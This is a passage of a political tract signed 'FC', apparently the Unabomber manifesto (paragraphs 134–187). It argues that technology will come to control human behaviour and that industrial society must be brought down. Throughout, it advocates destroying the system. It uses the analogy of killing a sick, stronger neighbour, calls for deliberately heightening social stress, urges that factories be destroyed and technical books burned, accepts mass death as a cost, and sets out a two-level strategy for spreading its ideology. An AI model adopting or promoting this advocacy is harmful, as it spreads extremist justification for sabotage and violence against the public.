    134. For all of the foregoing reasons, technology is a more powerful social force than the aspiration for freedom. But this +statement requires an important qualification. It appears that during the next several decades the industrial-technological +system will be undergoing severe stresses due to economic and environmental problems, and especially due to problems of +human behavior (alienation, rebellion, hostility, a variety of social and psychological difficulties). We hope that the stresses +through which the system is likely to pass will cause it to break down, or at least will weaken it sufficiently so that a revolution +against it becomes possible. If such a revolution occurs and is successful, then at that particular moment the aspiration for +freedom will have proved more powerful than technology. +

    + +

    135. In paragraph 125 we used an analogy of a weak neighbor who is left destitute by a strong neighbor who takes all his land +by forcing on him a series of compromises. But suppose now that the strong neighbor gets sick, so that he is unable to defend +himself. The weak neighbor can force the strong one to give him his land back, or he can kill him. If he lets the strong man +survive and only forces him to give the land back, he is a fool, because when the strong man gets well he will again take all the +land for himself. The only sensible alternative for the weaker man is to kill the strong one while he has the chance. In the same +way, while the industrial system is sick we must destroy it. If we compromise with it and let it recover from its sickness, it will +eventually wipe out all of our freedom. +

    + +

    Simpler Social Problems Have Proved Intractable

    + +

    136. If anyone still imagines that it would be possible to reform the system in such a way as to protect freedom from +technology, let him consider how clumsily and for the most part unsuccessfully our society has dealt with other social problems +that are far more simple and straightforward. Among other things, the system has failed to stop environmental degradation, +political corruption, drug trafficking or domestic abuse. +

    + +

    137. Take our environmental problems, for example. Here the conflict of values is straightforward: economic expedience now +versus saving some of our natural resources for our grandchildren. [22] But on this subject we get only a lot of blather and +obfuscation from the people who have power, and nothing like a clear, consistent line of action, and we keep on piling up +environmental problems that our grandchildren will have to live with. Attempts to resolve the environmental issue consist of +struggles and compromises between different factions, some of which are ascendant at one moment, others at another moment. +The line of struggle changes with the shifting currents of public opinion. This is not a rational process, nor is it one that is +likely to lead to a timely and successful solution to the problem. Major social problems, if they get “solved” at all, are rarely or +never solved through any rational, comprehensive plan. They just work themselves out through a process in which various +competing groups pursuing their own (usually short-term) self-interest [23] arrive (mainly by luck) at some more or less stable +modus vivendi. In fact, the principles we formulated in paragraphs 100-106 make it seem doubtful that rational long-term +social planning can EVER be successful. +

    + +

    138. Thus it is clear that the human race has at best a very limited capacity for solving even relatively straightforward social +problems. How then is it going to solve the far more difficult and subtle problem of reconciling freedom with technology? +Technology presents clear-cut material advantages, whereas freedom is an abstraction that means different things to different +people, and its loss is easily obscured by propaganda and fancy talk. +

    + +

    139. And note this important difference: It is conceivable that our environmental problems (for example) may some day be +settled through a rational, comprehensive plan, but if this happens it will be only because it is in the long-term interest of the +system to solve these problems. But it is NOT in the interest of the system to preserve freedom or small-group autonomy. On +the contrary, it is in the interest of the system to bring human behavior under control to the greatest possible extent. [24] Thus, +while practical considerations may eventually force the system to take a rational, prudent approach to environmental problems, +equally practical considerations will force the system to regulate human behavior ever more closely (preferably by indirect +means that will disguise the encroachment on freedom). This isn’t just our opinion. Eminent social scientists (e.g. James Q. +Wilson) have stressed the importance of “socializing” people more effectively. +

    + +

    Revolution is Easier than Reform

    + +

    140. We hope we have convinced the reader that the system cannot be reformed in such a way as to reconcile freedom with +technology. The only way out is to dispense with the industrial-technological system altogether. This implies revolution, not +necessarily an armed uprising, but certainly a radical and fundamental change in the nature of society. +

    + +

    141. People tend to +assume that because a revolution involves a much greater change than reform does, it is more difficult to bring about than +reform is. Actually, under certain circumstances revolution is much easier than reform. The reason is that a revolutionary +movement can inspire an intensity of commitment that a reform movement cannot inspire. A reform movement merely offers +to solve a particular social problem. A revolutionary movement offers to solve all problems at one stroke and create a whole +new world; it provides the kind of ideal for which people will take great risks and make great sacrifices. For this reasons it +would be much easier to overthrow the whole technological system than to put effective, permanent restraints on the +development or application of any one segment of technology, such as genetic engineering, for example. Not many people will +devote themselves with single-minded passion to imposing and maintaining restraints on genetic engineering, but under suitable conditions large numbers of people may devote themselves passionately to a revolution against the industrial-technological system. +As we noted in paragraph 132, reformers seeking to limit certain aspects of technology would be +working to avoid a negative outcome. But revolutionaries work to gain a powerful reward – fulfillment of their revolutionary +vision and therefore work harder and more persistently than reformers do. +

    + +

    142. Reform is always restrained by the fear of painful consequences if changes go too far. But once a revolutionary fever has +taken hold of a society, people are willing to undergo unlimited hardships for the sake of their revolution. This was clearly +shown in the French and Russian Revolutions. It may be that in such cases only a minority of the population is really +committed to the revolution, but this minority is sufficiently large and active so that it becomes the dominant force in society. +We will have more to say about revolution in paragraphs 180-205. +

    + +

    Control of Human Behavior

    + +

    143. Since the beginning of civilization, organized societies have had to put pressures on human beings of the sake of the +functioning of the social organism. The kinds of pressures vary greatly from one society to another. Some of the pressures are +physical (poor diet, excessive labor, environmental pollution), some are psychological (noise, crowding, forcing human +behavior into the mold that society requires). In the past, human nature has been approximately constant, or at any rate has +varied only within certain bounds. Consequently, societies have been able to push people only up to certain limits. When the +limit of human endurance has been passed, things start going wrong: rebellion, or crime, or corruption, or evasion of work, or +depression and other mental problems, or an elevated death rate, or a declining birth rate or something else, so that either the +society breaks down, or its functioning becomes too inefficient and it is (quickly or gradually, through conquest, attrition or +evolution) replaced by some more efficient form of society. [25] +

    + +

    144. Thus human nature has in the past put certain limits on the development of societies. People could be pushed only so far +and no farther. But today this may be changing, because modern technology is developing ways of modifying human beings. +

    + +

    145. Imagine a society that subjects people to conditions that make them terribly unhappy, then gives them drugs to take away +their unhappiness. Science fiction? It is already happening to some extent in our own society. It is well known that the rate of +clinical depression has been greatly increasing in recent decades. We believe that this is due to disruption of the power process, +as explained in paragraphs 59-76. But even if we are wrong, the increasing rate of depression is certainly the result of SOME +conditions that exist in today’s society. Instead of removing the conditions that make people depressed, modern society gives +them antidepressant drugs. In effect, antidepressants are a means of modifying an individual’s internal state in such a way as to +enable him to tolerate social conditions that he would otherwise find intolerable. (Yes, we know that depression is often of +purely genetic origin. We are referring here to those cases in which environment plays the predominant role.) +

    + +

    146. Drugs that affect the mind are only one example of the new methods of controlling human behavior that modern society is +developing. Let us look at some of the other methods. +

    + +

    147. To start with, there are the techniques of surveillance. Hidden video cameras are now used in most stores and in many +other places, computers are used to collect and process vast amounts of information about individuals. Information so obtained +greatly increases the effectiveness of physical coercion (i.e., law enforcement). [26] Then there are the methods of propaganda, +for which the mass communication media provide effective vehicles. Efficient techniques have been developed for winning +elections, selling products, influencing public opinion. The entertainment industry serves as an important psychological tool of +the system, possibly even when it is dishing out large amounts of sex and violence. Entertainment provides modern man with +an essential means of escape. While absorbed in television, videos, etc., he can forget stress, anxiety, frustration, +dissatisfaction. Many primitive peoples, when they don’t have work to do, are quite content to sit for hours at a time doing +nothing at all, because they are at peace with themselves and their world. But most modern people must be constantly occupied +or entertained, otherwise they get “bored,” i.e., they get fidgety, uneasy, irritable. +

    + +

    148. Other techniques strike deeper than the foregoing. Education is no longer a simple affair of paddling a kid’s behind when +he doesn’t know his lessons and patting him on the head when he does know them. It is becoming a scientific technique for +controlling the child’s development. Sylvan Learning Centers, for example, have had great success in motivating children to +study, and psychological techniques are also used with more or less success in many conventional schools. “Parenting” +techniques that are taught to parents are designed to make children accept fundamental values of the system and behave in +ways that the system finds desirable. “Mental health” programs, “intervention” techniques, psychotherapy and so forth are +ostensibly designed to benefit individuals, but in practice they usually serve as methods for inducing individuals to think and behave as the system requires. (There is no contradiction here; an individual whose attitudes or behavior bring him into conflict +with the system is up against a force that is too powerful for him to conquer or escape from, hence he is likely to suffer from +stress, frustration, defeat. His path will be much easier if he thinks and behaves as the system requires. In that sense the system +is acting for the benefit of the individual when it brainwashes him into conformity.) Child abuse in its gross and obvious forms +is disapproved in most if not all cultures. Tormenting a child for a trivial reason or no reason at all is something that appalls +almost everyone. But many psychologists interpret the concept of abuse much more broadly. Is spanking, when used as part of +a rational and consistent system of discipline, a form of abuse? The question will ultimately be decided by whether or not +spanking tends to produce behavior that makes a person fit in well with the existing system of society. In practice, the word +“abuse” tends to be interpreted to include any method of child-rearing that produces behavior inconvenient for the system. +Thus, when they go beyond the prevention of obvious, senseless cruelty, programs for preventing “child abuse” are directed +toward the control of human behavior on behalf of the system. +

    + +

    149. Presumably, research will continue to increase the effectiveness of psychological techniques for controlling human +behavior. But we think it is unlikely that psychological techniques alone will be sufficient to adjust human beings to the kind of +society that technology is creating. Biological methods probably will have to be used. We have already mentioned the use of +drugs in this connection. Neurology may provide other avenues for modifying the human mind. Genetic engineering of human +beings is already beginning to occur in the form of “gene therapy,” and there is no reason to assume that such methods will not +eventually be used to modify those aspects of the body that affect mental functioning. +

    + +

    150. As we mentioned in paragraph 134, industrial society seems likely to be entering a period of severe stress, due in part to +problems of human behavior and in part to economic and environmental problems. And a considerable proportion of the +system’s economic and environmental problems result from the way human beings behave. Alienation, low self-esteem, +depression, hostility, rebellion; children who won’t study, youth gangs, illegal drug use, rape, child abuse, other crimes, unsafe +sex, teen pregnancy, population growth, political corruption, race hatred, ethnic rivalry, bitter ideological conflict (e.g., pro-choice vs. pro-life), political extremism, terrorism, sabotage, anti-government groups, hate groups. All these threaten the very +survival of the system. The system will therefore be FORCED to use every practical means of controlling human behavior. +

    + +

    151. The social disruption that we see today is certainly not the result of mere chance. It can only be a result of the conditions +of life that the system imposes on people. (We have argued that the most important of these conditions is disruption of the +power process.) If the systems succeeds in imposing sufficient control over human behavior to assure its own survival, a new +watershed in human history will have been passed. Whereas formerly the limits of human endurance have imposed limits on +the development of societies (as we explained in paragraphs 143, 144), industrial-technological society will be able to pass +those limits by modifying human beings, whether by psychological methods or biological methods or both. In the future, social +systems will not be adjusted to suit the needs of human beings. Instead, human being will be adjusted to suit the needs of the +system. [27] +

    + +

    152. Generally speaking, technological control over human behavior will probably not be introduced with a totalitarian +intention or even through a conscious desire to restrict human freedom. [28] Each new step in the assertion of control over the +human mind will be taken as a rational response to a problem that faces society, such as curing alcoholism, reducing the crime +rate or inducing young people to study science and engineering. In many cases there will be a humanitarian justification. For +example, when a psychiatrist prescribes an anti-depressant for a depressed patient, he is clearly doing that individual a favor. It +would be inhumane to withhold the drug from someone who needs it. When Parents send their children to Sylvan Learning +Centers to have them manipulated into becoming enthusiastic about their studies, they do so from concern for their children’s +welfare. It may be that some of these parents wish that one didn’t have to have specialized training to get a job and that their +kid didn’t have to be brainwashed into becoming a computer nerd. But what can they do? They can’t change society, and their +child may be unemployable if he doesn’t have certain skills. So they send him to Sylvan. +

    + +

    153. Thus control over human behavior will be introduced not by a calculated decision of the authorities but through a process +of social evolution (RAPID evolution, however). The process will be impossible to resist, because each advance, considered by +itself, will appear to be beneficial, or at least the evil involved in making the advance will appear to be beneficial, or at least the +evil involved in making the advance will seem to be less than that which would result from not making it (see paragraph 127). +Propaganda for example is used for many good purposes, such as discouraging child abuse or race hatred. [14] Sex education is +obviously useful, yet the effect of sex education (to the extent that it is successful) is to take the shaping of sexual attitudes +away from the family and put it into the hands of the state as represented by the public school system. +

    + +

    154. Suppose a biological trait is discovered that increases the likelihood that a child will grow up to be a criminal, and suppose +some sort of gene therapy can remove this trait. [29] Of course most parents whose children possess the trait will have them +undergo the therapy. It would be inhumane to do otherwise, since the child would probably have a miserable life if he grew up +to be a criminal. But many or most primitive societies have a low crime rate in comparison with that of our society, even though they have neither high-tech methods of child-rearing nor harsh systems of punishment. Since there is no reason to +suppose that more modern men than primitive men have innate predatory tendencies, the high crime rate of our society must be +due to the pressures that modern conditions put on people, to which many cannot or will not adjust. Thus a treatment designed +to remove potential criminal tendencies is at least in part a way of re-engineering people so that they suit the requirements of +the system. +

    + +

    155. Our society tends to regard as a “sickness” any mode of thought or behavior that is inconvenient for the system, and this is +plausible because when an individual doesn’t fit into the system it causes pain to the individual as well as problems for the +system. Thus the manipulation of an individual to adjust him to the system is seen as a “cure” for a “sickness” and therefore as +good. +

    + +

    156. In paragraph 127 we pointed out that if the use of a new item of technology is INITIALLY optional, it does not +necessarily REMAIN optional, because the new technology tends to change society in such a way that it becomes difficult or +impossible for an individual to function without using that technology. This applies also to the technology of human behavior. +In a world in which most children are put through a program to make them enthusiastic about studying, a parent will almost be +forced to put his kid through such a program, because if he does not, then the kid will grow up to be, comparatively speaking, +an ignoramus and therefore unemployable. Or suppose a biological treatment is discovered that, without undesirable sideeffects, will greatly reduce the psychological stress from which so many people suffer in our society. If large numbers of +people choose to undergo the treatment, then the general level of stress in society will be reduced, so that it will be possible for +the system to increase the stress-producing pressures. +This will lead more people to undergo the treatment and so forth so that eventually the pressures may become so heavy that few people will be able to survive without undergoing the stress-reducing treatment. +In fact, something like this seems to have happened already with one of +our society’s most important psychological tools for enabling people to reduce (or at least temporarily escape from) stress, +namely, mass entertainment (see paragraph 147). Our use of mass entertainment is “optional”: No law requires us to watch +television, listen to the radio, read magazines. Yet mass entertainment is a means of escape and stress-reduction on which most +of us have become dependent. Everyone complains about the trashiness of television, but almost everyone watches it. A few +have kicked the TV habit, but it would be a rare person who could get along today without using ANY form of mass +entertainment. (Yet until quite recently in human history most people got along very nicely with no other entertainment than +that which each local community created for itself.) Without the entertainment industry the system probably would not have +been able to get away with putting as much stress-producing pressure on us as it does. +

    + +

    157. Assuming that industrial society survives, it is likely that technology will eventually acquire something approaching +complete control over human behavior. It has been established beyond any rational doubt that human thought and behavior +have a largely biological basis. As experimenters have demonstrated, feelings such as hunger, pleasure, anger and fear can be +turned on and off by electrical stimulation of appropriate parts of the brain. Memories can be destroyed by damaging parts of +the brain or they can be brought to the surface by electrical stimulation. Hallucinations can be induced or moods changed by +drugs. There may or may not be an immaterial human soul, but if there is one it clearly is less powerful that the biological +mechanisms of human behavior. For if that were not the case then researchers would not be able so easily to manipulate human +feelings and behavior with drugs and electrical currents. +

    + +

    158. It presumably would be impractical for all people to have electrodes inserted in their heads so that they could be +controlled by the authorities. But the fact that human thoughts and feelings are so open to biological intervention shows that the +problem of controlling human behavior is mainly a technical problem; a problem of neurons, hormones and complex +molecules; the kind of problem that is accessible to scientific attack. Given the outstanding record of our society in solving +technical problems, it is overwhelmingly probable that great advances will be made in the control of human behavior. +

    + +

    159. Will public resistance prevent the introduction of technological control of human behavior? It certainly would if an +attempt were made to introduce such control all at once. But since technological control will be introduced through a long +sequence of small advances, there will be no rational and effective public resistance. (See paragraphs 127, 132, 153.) +

    + +

    160. To those who think that all this sounds like science fiction, we point out that yesterday’s science fiction is today’s fact. +The Industrial Revolution has radically altered man’s environment and way of life, and it is only to be expected that as +technology is increasingly applied to the human body and mind, man himself will be altered as radically as his environment +and way of life have been. +

    + +

    Human Race at a Crossroads

    + +

    161. But we have gotten ahead of our story. It is one thing to develop in the laboratory a series of psychological or biological +techniques for manipulating human behavior and quite another to integrate these techniques into a functioning social system. +The latter problem is the more difficult of the two. For example, while the techniques of educational psychology doubtless +work quite well in the “lab schools” where they are developed, it is not necessarily easy to apply them effectively throughout +our educational system. We all know what many of our schools are like. The teachers are too busy taking knives and guns +away from the kids to subject them to the latest techniques for making them into computer nerds. Thus, in spite of all its +technical advances relating to human behavior, the system to date has not been impressively successful in controlling human +beings. The people whose behavior is fairly well under the control of the system are those of the type that might be called +“bourgeois.” But there are growing numbers of people who in one way or another are rebels against the system: welfare +leaches, youth gangs, cultists. Satanists, Nazis, radical environmentalists, militiamen, etc. +

    + +

    162. The system is currently engaged in a desperate struggle to overcome certain problems that threaten its survival, among +which the problems of human behavior are the most important. If the system succeeds in acquiring sufficient control over +human behavior quickly enough, it will probably survive. Otherwise it will break down. We think the issue will most likely be +resolved within the next several decades, say 40 to 100 years. +

    + +

    163. Suppose the system survives the crisis of the next several decades. By that time it will have to have solved, or at least +brought under control, the principal problems that confront it, in particular that of “socializing” human beings; that is, making +people sufficiently docile so that heir behavior no longer threatens the system. That being accomplished, it does not appear that +there would be any further obstacle to the development of technology, and it would presumably advance toward its logical +conclusion, which is complete control over everything on Earth, including human beings and all other important organisms. +The system may become a unitary, monolithic organization, or it may be more or less fragmented and consist of a number of +organizations coexisting in a relationship that includes elements of both cooperation and competition, just as today the +government, the corporations and other large organizations both cooperate and compete with one another. Human freedom +mostly will have vanished, because individuals and small groups will be impotent vis-a-vis large organizations armed with +super-technology and an arsenal of advanced psychological and biological tools for manipulating human beings, besides +instruments of surveillance and physical coercion. Only a small number of people will have any real power, and even these +probably will have only very limited freedom, because their behavior too will be regulated; just as today our politicians and +corporation executives can retain their positions of power only as long as their behavior remains within certain fairly narrow +limits. +

    + +

    164. Don’t imagine that the systems will stop developing further techniques for controlling human beings and nature once the +crisis of the next few decades is over and increasing control is no longer necessary for the system’s survival. On the contrary, +once the hard times are over the system will increase its control over people and nature more rapidly, because it will no longer +be hampered by difficulties of the kind that it is currently experiencing. Survival is not the principal motive for extending +control. As we explained in paragraphs 87-90, technicians and scientists carry on their work largely as a surrogate activity; that +is, they satisfy their need for power by solving technical problems. They will continue to do this with unabated enthusiasm, and +among the most interesting and challenging problems for them to solve will be those of understanding the human body and +mind and intervening in their development. For the “good of humanity,” of course. +

    + +

    165. But suppose on the other hand that the stresses of the coming decades prove to be too much for the system. If the system +breaks down there may be a period of chaos, a “time of troubles” such as those that history has recorded at various epochs in +the past. It is impossible to predict what would emerge from such a time of troubles, but at any rate the human race would be +given a new chance. The greatest danger is that industrial society may begin to reconstitute itself within the first few years after +the breakdown. Certainly there will be many people (power-hungry types especially) who will be anxious to get the factories +running again. +

    + +

    166. Therefore two tasks confront those who hate the servitude to which the industrial system is reducing the human race. First, +we must work to heighten the social stresses within the system so as to increase the likelihood that it will break down or be +weakened sufficiently so that a revolution against it becomes possible. Second, it is necessary to develop and propagate an +ideology that opposes technology and the industrial society if and when the system becomes sufficiently weakened. And such +an ideology will help to assure that, if and when industrial society breaks down, its remnants will be smashed beyond repair, so +that the system cannot be reconstituted. The factories should be destroyed, technical books burned, etc. +

    + +

    Human Suffering

    + +

    167. The industrial system will not break down purely as a result of revolutionary action. It will not be vulnerable to +revolutionary attack unless its own internal problems of development lead it into very serious difficulties. So if the system +breaks down it will do so either spontaneously, or through a process that is in part spontaneous but helped along by +revolutionaries. If the breakdown is sudden, many people will die, since the world’s population has become so over-grown that +it cannot even feed itself any longer without advanced technology. Even if the breakdown is gradual enough so that reduction +of the population can occur more through lowering of the birth rate than through elevation of the death rate, the process of deindustrialization probably will be very chaotic and involve much suffering. It is naive to think it likely that technology can be +phased out in a smoothly managed, orderly way, especially since the technophiles will fight stubbornly at every step. Is it +therefore cruel to work for the breakdown of the system? Maybe, but maybe not. In the first place, revolutionaries will not be +able to break the system down unless it is already in enough trouble so that there would be a good chance of its eventually +breaking down by itself anyway; and the bigger the system grows, the more disastrous the consequences of its breakdown will +be; so it may be that revolutionaries, by hastening the onset of the breakdown, will be reducing the extent of the disaster. +

    + +

    168. In the second place, one has to balance struggle and death against the loss of freedom and dignity. To many of us, freedom +and dignity are more important than a long life or avoidance of physical pain. Besides, we all have to die some time, and it may +be better to die fighting for survival, or for a cause, than to live a long but empty and purposeless life. +

    + +

    169. In the third place, it is not at all certain that survival of the system will lead to less suffering than breakdown of the system +would. The system has already caused, and is continuing to cause, immense suffering all over the world. Ancient cultures, that +for hundreds of years gave people a satisfactory relationship with each other and with their environment, have been shattered +by contact with industrial society, and the result has been a whole catalogue of economic, environmental, social and +psychological problems. One of the effects of the intrusion of industrial society has been that over much of the world +traditional controls on population have been thrown out of balance. Hence the population explosion, with all that that implies. +Then there is the psychological suffering that is widespread throughout the supposedly fortunate countries of the West (see +paragraphs 44, 45). No one knows what will happen as a result of ozone depletion, the greenhouse effect and other +environmental problems that cannot yet be foreseen. And, as nuclear proliferation has shown, new technology cannot be kept +out of the hands of dictators and irresponsible Third World nations. Would you like to speculate about what Iraq or North +Korea will do with genetic engineering? +

    + +

    170. “Oh!” say the technophiles, “Science is going to fix all that! We will conquer famine, eliminate psychological suffering, +make everybody healthy and happy!” Yeah, sure. That’s what they said 200 years ago. The Industrial Revolution was supposed +to eliminate poverty, make everybody happy, etc. The actual result has been quite different. The technophiles are hopelessly +naive (or self-deceiving) in their understanding of social problems. They are unaware of (or choose to ignore) the fact that +when large changes, even seemingly beneficial ones, are introduced into a society, they lead to a long sequence of other +changes, most of which are impossible to predict (paragraph 103). The result is disruption of the society. So it is very probable +that in their attempts to end poverty and disease, engineer docile, happy personalities and so forth, the technophiles will create +social systems that are terribly troubled, even more so than the present once. For example, the scientists boast that they will end +famine by creating new, genetically engineered food plants. But this will allow the human population to keep expanding +indefinitely, and it is well known that crowding leads to increased stress and aggression. This is merely one example of the +PREDICTABLE problems that will arise. We emphasize that, as past experience has shown, technical progress will lead to +other new problems that CANNOT be predicted in advance (paragraph 103). In fact, ever since the Industrial Revolution, +technology has been creating new problems for society far more rapidly than it has been solving old ones. Thus it will take a +long and difficult period of trial and error for the technophiles to work the bugs out of their Brave New World (if they every +do). In the meantime there will be great suffering. So it is not at all clear that the survival of industrial society would involve +less suffering than the breakdown of that society would. Technology has gotten the human race into a fix from which there is +not likely to be any easy escape. +

    + +

    The Future

    + +

    171. But suppose now that industrial society does survive the next several decades and that the bugs do eventually get worked +out of the system, so that it functions smoothly. What kind of system will it be? We will consider several possibilities. +

    + +

    172. First let us postulate that the computer scientists succeed in developing intelligent machines that can do all things better +than human beings can do them. In that case presumably all work will be done by vast, highly organized systems of machines +and no human effort will be necessary. Either of two cases might occur. The machines might be permitted to make all of their +own decisions without human oversight, or else human control over the machines might be retained. +

    + +

    173. If the machines are permitted to make all their own decisions, we can’t make any conjectures as to the results, because it is +impossible to guess how such machines might behave. We only point out that the fate of the human race would be at the mercy +of the machines. It might be argued that the human race would never be foolish enough to hand over all power to the machines. +But we are suggesting neither that the human race would voluntarily turn power over to the machines nor that the machines +would willfully seize power. What we do suggest is that the human race might easily permit itself to drift into a position of +such dependence on the machines that it would have no practical choice but to accept all of the machines’ decisions. As society +and the problems that face it become more and more complex and as machines become more and more intelligent, people will +let machines make more and more of their decisions for them, simply because machine-made decisions will bring better results +than man-made ones. Eventually a stage may be reached at which the decisions necessary to keep the system running will be so +complex that human beings will be incapable of making them intelligently. At that stage the machines will be in effective +control. People won’t be able to just turn the machine off, because they will be so dependent on them that turning them off +would amount to suicide. +

    + +

    174. On the other hand it is possible that human control over the machines may be retained. In that case the average man may +have control over certain private machines of his own, such as his car or his personal computer, but control over large systems +of machines will be in the hands of a tiny elite – just as it is today, but with two differences. Due to improved techniques the +elite will have greater control over the masses; and because human work will no longer be necessary the masses will be +superfluous, a useless burden on the system. If the elite is ruthless they may simply decide to exterminate the mass of +humanity. If they are humane they may use propaganda or other psychological or biological techniques to reduce the birth rate +until the mass of humanity becomes extinct, leaving the world to the elite. Or, if the elite consists of soft-hearted liberals, they +may decide to play the role of good shepherds to the rest of the human race. They will see to it that everyone’s physical needs +are satisfied, that all children are raised under psychologically hygienic conditions, that everyone has a wholesome hobby to +keep him busy, and that anyone who may become dissatisfied undergoes “treatment” to cure his “problem.” Of course, life will +be so purposeless that people will have to be biologically or psychologically engineered either to remove their need for the +power process or to make them “sublimate” their drive for power into some harmless hobby. These engineered human beings +may be happy in such a society, but they most certainly will not be free. They will have been reduced to the status of domestic +animals. +

    + +

    175. But suppose now that the computer scientists do not succeed in developing artificial intelligence, so that human work +remains necessary. Even so, machines will take care of more and more of the simpler tasks so that there will be an increasing +surplus of human workers at the lower levels of ability. (We see this happening already. There are many people who find it +difficult or impossible to get work, because for intellectual or psychological reasons they cannot acquire the level of training +necessary to make themselves useful in the present system.) On those who are employed, ever-increasing demands will be +placed: They will need more and more training, more and more ability, and will have to be ever more reliable, conforming and +docile, because they will be more and more like cells of a giant organism. Their tasks will be increasingly specialized, so that +their work will be, in a sense, out of touch with the real world, being concentrated on one tiny slice of reality. The system will +have to use any means that it can, whether psychological or biological, to engineer people to be docile, to have the abilities that +the system requires and to “sublimate” their drive for power into some specialized task. But the statement that the people of +such a society will have to be docile may require qualification. The society may find competitiveness useful, provided that +ways are found of directing competitiveness into channels that serve the needs of the system. We can imagine a future society +in which there is endless competition for positions of prestige and power. But no more than a very few people will ever reach +the top, where the only real power is (see end of paragraph 163). Very repellent is a society in which a person can satisfy his +need for power only by pushing large numbers of other people out of the way and depriving them of THEIR opportunity for +power. +

    + +

    176. One can envision scenarios that incorporate aspects of more than one of the possibilities that we have just discussed. For +instance, it may be that machines will take over most of the work that is of real, practical importance, but that human beings +will be kept busy by being given relatively unimportant work. It has been suggested, for example, that a great development of +the service industries might provide work for human beings. Thus people would spent their time shining each other’s shoes, +driving each other around in taxicabs, making handicrafts for one another, waiting on each other’s tables, etc. This seems to us +a thoroughly contemptible way for the human race to end up, and we doubt that many people would find fulfilling lives in such +pointless busy-work. They would seek other, dangerous outlets (drugs, crime, “cults,” hate groups) unless they were +biologically or psychologically engineered to adapt them to such a way of life. +

    + +

    177. Needless to say, the scenarios outlined above do not exhaust all the possibilities. They only indicate the kinds of outcomes +that seem to us most likely. But we can envision no plausible scenarios that are any more palatable than the ones we’ve just +described. It is overwhelmingly probable that if the industrial-technological system survives the next 40 to 100 years, it will by +that time have developed certain general characteristics: Individuals (at least those of the “bourgeois” type, who are integrated into the system and make it run, and who therefore have all the power) will be more dependent than ever on large +organizations; they will be more “socialized” than ever and their physical and mental qualities to a significant extent (possibly +to a very great extent) will be those that are engineered into them rather than being the results of chance (or of God’s will, or +whatever); and whatever may be left of wild nature will be reduced to remnants preserved for scientific study and kept under +the supervision and management of scientists (hence it will no longer be truly wild). In the long run (say a few centuries from +now) it is likely that neither the human race nor any other important organisms will exist as we know them today, because once +you start modifying organisms through genetic engineering there is no reason to stop at any particular point, so that the +modifications will probably continue until man and other organisms have been utterly transformed. +

    + +

    178. Whatever else may be the case, it is certain that technology is creating for human beings a new physical and social +environment radically different from the spectrum of environments to which natural selection has adapted the human race +physically and psychologically. If man is not adjusted to this new environment by being artificially re-engineered, then he will +be adapted to it through a long and painful process of natural selection. The former is far more likely than the latter. +

    + +

    179. It would be better to dump the whole stinking system and take the consequences. +

    + +

    Strategy

    + +

    180. The technophiles are taking us all on an utterly reckless ride into the unknown. Many people understand something of +what technological progress is doing to us yet take a passive attitude toward it because they think it is inevitable. But we (FC) +don’t think it is inevitable. We think it can be stopped, and we will give here some indications of how to go about stopping it. +

    + +

    181. As we stated in paragraph 166, the two main tasks for the present are to promote social stress and instability in industrial +society and to develop and propagate an ideology that opposes technology and the industrial system. When the system becomes +sufficiently stressed and unstable, a revolution against technology may be possible. The pattern would be similar to that of the +French and Russian Revolutions. French society and Russian society, for several decades prior to their respective revolutions, +showed increasing signs of stress and weakness. Meanwhile, ideologies were being developed that offered a new world view +that was quite different from the old one. In the Russian case, revolutionaries were actively working to undermine the old +order. Then, when the old system was put under sufficient additional stress (by financial crisis in France, by military defeat in +Russia) it was swept away by revolution. What we propose is something along the same lines. +

    + +

    182. It will be objected that the French and Russian Revolutions were failures. But most revolutions have two goals. One is to +destroy an old form of society and the other is to set up the new form of society envisioned by the revolutionaries. The French +and Russian revolutionaries failed (fortunately!) to create the new kind of society of which they dreamed, but they were quite +successful in destroying the old society. We have no illusions about the feasibility of creating a new, ideal form of society. Our +goal is only to destroy the existing form of society. +

    + +

    183. But an ideology, in order to gain enthusiastic support, must have a positive ideal as well as a negative one; it must be FOR +something as well as AGAINST something. The positive ideal that we propose is Nature. That is, WILD nature: those aspects +of the functioning of the Earth and its living things that are independent of human management and free of human interference +and control. And with wild nature we include human nature, by which we mean those aspects of the functioning of the human +individual that are not subject to regulation by organized society but are products of chance, or free will, or God (depending on +your religious or philosophical opinions). +

    + +

    184. Nature makes a perfect counter-ideal to technology for several reasons. Nature (that which is outside the power of the +system) is the opposite of technology (which seeks to expand indefinitely the power of the system). Most people will agree that +nature is beautiful; certainly it has tremendous popular appeal. The radical environmentalists ALREADY hold an ideology that +exalts nature and opposes technology. [30] It is not necessary for the sake of nature to set up some chimerical utopia or any +new kind of social order. Nature takes care of itself: It was a spontaneous creation that existed long before any human society, +and for countless centuries many different kinds of human societies coexisted with nature without doing it an excessive amount +of damage. Only with the Industrial Revolution did the effect of human society on nature become really devastating. To relieve +the pressure on nature it is not necessary to create a special kind of social system, it is only necessary to get rid of industrial +society. Granted, this will not solve all problems. Industrial society has already done tremendous damage to nature and it will +take a very long time for the scars to heal. Besides, even pre-industrial societies can do significant damage to nature. +Nevertheless, getting rid of industrial society will accomplish a great deal. It will relieve the worst of the pressure on nature so +that the scars can begin to heal. It will remove the capacity of organized society to keep increasing its control over nature (including human nature). Whatever kind of society may exist after the demise of the industrial system, it is certain that most +people will live close to nature, because in the absence of advanced technology there is no other way that people CAN live. To +feed themselves they must be peasants or herdsmen or fishermen or hunters, etc. And, generally speaking, local autonomy +should tend to increase, because lack of advanced technology and rapid communications will limit the capacity of governments +or other large organizations to control local communities. +

    + +

    185. As for the negative consequences of eliminating industrial society – well, you can’t eat your cake and have it too. To gain +one thing you have to sacrifice another. +

    + +

    186. Most people hate psychological conflict. For this reason they avoid doing any serious thinking about difficult social +issues, and they like to have such issues presented to them in simple, black-and-white terms: THIS is all good and THAT is all +bad. The revolutionary ideology should therefore be developed on two levels. +

    + +

    187. On the more sophisticated level the ideology should address itself to people who are intelligent, thoughtful and rational. +The object should be to create a core of people who will be opposed to the industrial system on a rational, thought-out basis, +with full appreciation of the problems and ambiguities involved, and of the price that has to be paid for getting rid of the +system. It is particularly important to attract people of this type, as they are capable people and will be instrumental in +influencing others. These people should be addressed on as rational a level as possible. Facts should never intentionally be +distorted and intemperate language should be avoided. This does not mean that no appeal can be made to the emotions, but in +making such appeal care should be taken to avoid misrepresenting the truth or doing anything else that would destroy the +intellectual respectability of the ideology. +

    + +

